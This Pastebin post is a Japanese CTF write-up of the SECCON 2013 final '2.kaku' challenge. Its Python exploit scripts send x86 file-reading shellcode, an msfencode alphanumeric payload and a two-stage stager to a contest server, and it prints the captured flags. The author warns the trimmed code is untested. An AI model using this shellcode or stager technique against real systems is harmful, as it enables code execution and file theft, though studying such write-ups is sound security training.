daily pastebin goal
39%
SHARE
TWEET

SECCON 2013 final 2.kaku

bata_24 Mar 3rd, 2014 (edited) 475 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. SECCON2013 2.kaku Write-up
  2.  
  3. Write-up用に見づらいコードとか削ったが,テストしてないのでもしかしたら動かないかもしれない.参考までに.
  4.  
  5. -- Stage1 --
  6.  
  7. 4バイトでシェルコードのサイズ,その後シェルコードを送ると実行してくれる.
  8. ただしバックコネクト系シェルコードは何故か応答がない.FWでブロックされているのだと思い,chroot対策としてopen/read/writeするだけのシェルコードを送ったら行けた.
  9.  
  10. root@Ubuntu64:~/ctf/seccon2013/2# cat exp0.py
  11. #!/usr/bin/python
  12. # -*- coding: utf-8 -*-
  13. import sys, socket, struct
  14. def p(a): return struct.pack("<I", a)
  15. def sock(remoteip, remoteport):
  16.   f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  17.   f.connect((remoteip, remoteport))
  18.   return f
  19.  
  20. # linux/x86/read-file(STDOUT)
  21. shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"./keyword.txt\x00"
  22. # linux/x86/read-dir(STDOUT)
  23. # shellcode = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+".\x00"
  24.  
  25. f = sock("10.100.4.1", 31337)
  26. f.send( p(len(sc)) )
  27. f.send( sc )
  28. print f.recv(2048)
  29. print f.recv(2048)
  30.  
  31. root@Ubuntu64:~/ctf/seccon2013/2# py exp0.py
  32. K
  33. EY{b36748aabcfcfb403e519e14b8e5e4c2bc1b8161}
  34.  
  35. root@Ubuntu64:~/ctf/seccon2013/2#
  36.  
  37. -- Stage2 --
  38.  
  39. アルファベットと数字のみを許すシェルコードを書けば良い.
  40. msfencodeでいいのがあったのでそれを使った.BufferRegisterオプションを知らずにすごい時間がかかってしまった.
  41.  
  42. root@Ubuntu64:~/ctf/seccon2013/2# cat exp1.py
  43. #!/usr/bin/python
  44. # -*- coding: utf-8 -*-
  45. import sys, socket, struct
  46. def p(a): return struct.pack("<I", a)
  47. def sock(remoteip, remoteport):
  48.   f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  49.   f.connect((remoteip, remoteport))
  50.   return f
  51.  
  52. # linux/x86/read-file(STDOUT)
  53. shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"./keyword.txt\x00"
  54. # linux/x86/read-dir(STDOUT)
  55. # shellcode = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+".\x00"
  56. sys.stdout.write(shellcode)
  57.  
  58. root@Ubuntu64:~/ctf/seccon2013/2# py exp1.py | msfencode -a x86 BufferRegister=EAX -e x86/alpha_mixed
  59. [*] x86/alpha_mixed succeeded with size 212 (iteration=1)
  60.  
  61. buf =
  62. "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
  63. "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" +
  64. "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" +
  65. "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x76\x51\x4b\x70" +
  66. "\x44\x71\x6b\x6b\x36\x51\x48\x49\x70\x31\x6b\x62\x58\x6b" +
  67. "\x76\x52\x33\x6b\x68\x30\x73\x35\x44\x71\x68\x49\x58\x4d" +
  68. "\x6b\x30\x4e\x69\x68\x46\x78\x6b\x55\x56\x68\x30\x63\x31" +
  69. "\x56\x51\x49\x4b\x4a\x6d\x6d\x50\x6c\x49\x39\x63\x4c\x70" +
  70. "\x45\x53\x6d\x53\x48\x6c\x67\x71\x4c\x4d\x76\x6c\x61\x34" +
  71. "\x38\x32\x53\x31\x5a\x6d\x4f\x70\x55\x61\x79\x4b\x35\x69" +
  72. "\x4f\x33\x50\x74\x6a\x46\x68\x30\x56\x64\x58\x33\x55\x51" +
  73. "\x58\x32\x45\x51\x5a\x6d\x4b\x30\x6d\x53\x58\x44\x65\x51" +
  74. "\x48\x6b\x49\x4f\x49\x78\x79\x59\x79\x6f\x79\x6f\x69\x6f" +
  75. "\x64\x6e\x44\x6f\x42\x4b\x73\x55\x61\x69\x63\x47\x42\x4f" +
  76. "\x74\x32\x63\x54\x44\x6e\x73\x44\x30\x78\x72\x54\x55\x50" +
  77. "\x41\x41"
  78. root@Ubuntu64:~/ctf/seccon2013/2#
  79.  
  80. Stage1のプログラムと同じように,このシェルコードを送ればOK.
  81.  
  82. root@Ubuntu64:~/ctf/seccon2013/2# py exp1.py
  83. K
  84. EY{bf77fc14c1715b25ff20246796c8c4bfa2ea49e6}
  85.  
  86. root@Ubuntu64:~/ctf/seccon2013/2#
  87.  
  88. -- Stage3 --
  89.  
  90. 5,7,5,7,7に区切ることのできるシェルコードを送る必要がある.
  91. どう考えても31バイトでうまいこと区切るコードを作れなさそうだったので,shellcode変数のある場所がRWXなことを利用して,自身のコードの直後に追加データを読み込むStager型にした.
  92. Stagerなら大抵シェルコードより短くかけるので便利だ.よく使うテクニックである.
  93. 今回使ったのは初歩的なStagerで,次のようになる.call(0xE800000000)で現在のEIPをスタックに積むのがよく使われると思う.
  94.  
  95. (1) シェルコードとしてStagerを実行開始
  96.  
  97. EIP->+-------------+
  98.      |             |
  99.      |   Stager    |
  100.      |             |
  101.      +-------------+
  102.  
  103. (2) Stager実行直後
  104.  
  105.      +-------------+
  106.      |             |
  107.      |   Stager    |---+
  108. EIP->|             |   |readによりここへ追加でコードを読み込む
  109.      +-------------+<--+
  110.      |             |
  111.      |  Shellcode  |
  112.      |             |
  113.      +-------------+
  114.  
  115. (3) そのままShellcodeが実行される
  116.  
  117.      +-------------+
  118.      |             |
  119.      |   Stager    |
  120.      |             |
  121.      +-------------+
  122. EIP->|             |
  123.      |  Shellcode  |
  124.      |             |
  125.      +-------------+
  126.  
  127. root@Ubuntu64:~/ctf/seccon2013/2# cat exp2.py
  128. #!/usr/bin/python
  129. # -*- coding: utf-8 -*-
  130. import sys, socket, struct, time
  131. def p(a): return struct.pack("<I", a)
  132. def sock(remoteip, remoteport):
  133.   f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  134.   f.connect((remoteip, remoteport))
  135.   return f
  136.  
  137. # linux/x86/read-file(STDOUT)
  138. shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"./keyword.txt\x00"
  139.  
  140. # linux/x86/read-dir(STDOUT)
  141. # shellcode = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+".\x00"
  142.  
  143. sc  = "\x6a\x03"             # push byte 0x3      ; eax = NR_read
  144. sc += "\x58"                 # pop eax
  145. sc += "\x6a\x00"             # push byte 0x0      ; ebx = fd
  146.  
  147. sc += "\x5b"                 # pop ebx
  148. sc += "\x6a\x7f"             # push byte 0x7f     ; edx = size
  149. sc += "\x5a\x90\x90\x90"     # pop edx
  150.  
  151. sc += "\xE8\x00\x00\x00\x00" # call next
  152.  
  153. sc += "\x90"*7               # padding
  154.  
  155. sc += "\x59"                 # pop ecx            ; ecx = buffer
  156. sc += "\x83\xc1\x0e"         # add ecx, byte 0x0e ; adjust
  157. sc += "\x90"                 # nop
  158. sc += "\xcd\x80"             # int 0x80
  159.  
  160. f = sock("10.100.4.1", 31339)
  161. f.send( p(len(sc)) )
  162. f.send( sc )
  163. time.sleep(0.5)
  164. f.send( shellcode )
  165. print f.recv(2048)
  166. print f.recv(2048)
  167. print f.recv(2048)
  168.  
  169. root@Ubuntu64:~/ctf/seccon2013/2# py exp2.py
  170. K
  171. EY{c503f238448ed717bb65dd722813c4147bad1238}
  172.  
  173. root@Ubuntu64:~/ctf/seccon2013/2#
  174.  
  175. -- Stage4 --
  176. 不許可バイトがNGワードとして設定されていて,それを回避するシェルコードを作る必要がある.ただし私がチャレンジした時はNGワードはまだ存在しなかった.
  177. これは最初に到達した人がこのNGワードファイルに書き込むと,後続の人はそれを回避しつつシェルコードを作らないといけない仕様になっている.
  178. まぁ,コードは残ってなかったけど,この時点ではStage3と同じ手法で好きなシェルコードを実行できるので,フラグワードを書き込むようなのを書いた.
  179. そしてスクリプト化するのがめんどくなってフラッグワード書き込めることに満足して終了.
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top